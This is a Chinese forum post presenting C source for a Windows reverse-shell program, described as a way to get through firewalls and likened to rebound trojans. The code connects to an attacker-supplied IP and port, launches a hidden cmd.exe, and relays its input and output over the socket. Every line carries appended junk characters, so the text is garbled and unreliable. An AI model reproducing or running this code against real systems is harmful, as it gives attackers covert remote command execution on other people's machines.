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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sx-EA&5-9k  
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/* ============================== [Z#+gh  
Rebound port in Windows NT Of1IdE6~  
By wind,2006/7 pBlRd{#fL  
===============================*/ 4fu'QZ(}  
#include  5Waw?1GL  
#include Wr]O  
fm3(70F\  
#pragma comment(lib,"wsock32.lib") 8# 6\+R  
^36M0h|R  
void OutputShell(); .i MnWW  
SOCKET sClient; 5,F;j<F  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Bj;\mUsk  
2~vo+ng  
void main(int argc,char **argv) Lf5%M|o.)  
{ nVz5V%a!\q  
WSADATA stWsaData; \9046An  
int nRet; Z1VC5* K  
SOCKADDR_IN stSaiClient,stSaiServer; " <<A  
%GM>u2baw  
if(argc != 3) ^$e0t;W=  
{ /m97CC#+  
printf("Useage:\n\rRebound DestIP DestPort\n"); VT'0DQ!NIq  
return; o^6jyb!j  
} 4uFIpS|rq  
1v;'d1Hg;  
WSAStartup(MAKEWORD(2,2),&stWsaData); $8jaapNm@  
d/l,C4p  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r %+Bc Y  
uQ{=o]sy  
stSaiClient.sin_family = AF_INET; u@AI&[Z  
stSaiClient.sin_port = htons(0); \BLp-B1s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Bk&-1>cY  
Xwn3+tSIa  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !A~d[</]m  
{ [:Be[pLC  
printf("Bind Socket Failed!\n"); IbF 4k .J  
return; Ynvj;  
} [6O04"6K  
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stSaiServer.sin_family = AF_INET; [.{^"<Z<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _~juv&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Sbp  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z9^c]U U)E  
{ Cy`26[E$S  
printf("Connect Error!"); F|,6N/;!W  
return; v}Z9+ yRC2  
} [w,(EE   
OutputShell(); }6<)yW}U  
} h5x*NM1Ih  
{W-5:~?"  
void OutputShell() -<|Y1PQ  
{  wjL|Z8  
char szBuff[1024]; YbzM6u2  
SECURITY_ATTRIBUTES stSecurityAttributes; ]Qd{ '}+  
OSVERSIONINFO stOsversionInfo; i[PvDv"n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mU50pM~/i  
STARTUPINFO stStartupInfo; 5bXHz5i  
char *szShell; r)Or\HL  
PROCESS_INFORMATION stProcessInformation; WPtMds4  
unsigned long lBytesRead; J`W-]3S#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "t=UX -3  
&D]&UQf  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5qC:yI  
stSecurityAttributes.lpSecurityDescriptor = 0; }X.>4\B5  
stSecurityAttributes.bInheritHandle = TRUE; 3!>/smb !  
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mqdOu{kQ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c!mG1lwD.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "@4ghot t  
:VJV5f{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N ,+(>?yE  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B "*`R!y  
stStartupInfo.wShowWindow = SW_HIDE; `v~!H\q  
stStartupInfo.hStdInput = hReadPipe; $Y6 3!*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V`by*s  
#XcU{5Qm5  
GetVersionEx(&stOsversionInfo); _r]nJEF5  
o!=WFAi[pX  
switch(stOsversionInfo.dwPlatformId) 3B;}j/h2  
{ 3I]Fdp)'  
case 1: '[Xl>Z[  
szShell = "command.com"; 0potz]}  
break; V`[P4k+b   
default: `os8;`G  
szShell = "cmd.exe"; {8 N=WZ  
break; x )3~il5  
} j AQU~Ol_  
C-Ig_Nc  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);   La9r  
a&C.=  
send(sClient,szMsg,77,0); 7lwTZ*rnY  
while(1) M'DWu|dIBA  
{ '#A:.P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xk?R mU6  
if(lBytesRead) e{0L%%2K  
{ [A]Ca$':  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JD ]OIh  
send(sClient,szBuff,lBytesRead,0); 1Fs-0)s8  
} 0vn[a,W<A  
else gM#jA8gz  
{ \-c#jo.$8  
lBytesRead=recv(sClient,szBuff,1024,0); :@/"abv  
if(lBytesRead<=0) break; U;p e:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1M+oTIN  
} R]Ek}1~?  
} IM=+3W;ak  
%l]Rh/VPn?  
return; mB`D}g$  
}
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